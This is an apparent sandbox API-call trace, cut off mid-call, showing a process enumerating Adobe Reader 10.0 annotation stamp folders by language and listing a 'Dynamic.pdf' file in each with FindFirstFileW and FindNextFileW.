[0048.097] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.100] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.100] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.100] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.101] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.101] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DAN", cAlternateFileName="")) returned 1 [0048.101] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.102] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.102] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.102] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.102] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.102] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEU", cAlternateFileName="")) returned 1 [0048.102] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.103] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.103] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcadf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.103] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.104] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.104] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0048.104] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.105] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.105] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.105] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.105] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.105] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESP", cAlternateFileName="")) returned 1 [0048.105] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.106] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.106] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.106] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.107] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.107] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUQ", cAlternateFileName="")) returned 1 [0048.107] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.109] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.109] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.111] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.111] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.111] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRA", cAlternateFileName="")) returned 1 [0048.112] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.112] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.113] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x30eb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.113] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.113] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.113] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HRV", cAlternateFileName="")) returned 1 [0048.113] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.116] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.116] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21a02, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.116] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.117] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.117] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HUN", cAlternateFileName="")) returned 1 [0048.117] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.120] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.120] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbb3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.120] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.121] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.121] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITA", cAlternateFileName="")) returned 1 [0048.121] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.122] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.122] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xca88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.122] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.122] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.122] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPN", cAlternateFileName="")) returned 1 [0048.122] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.123] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.123] FindNextFileW (in: 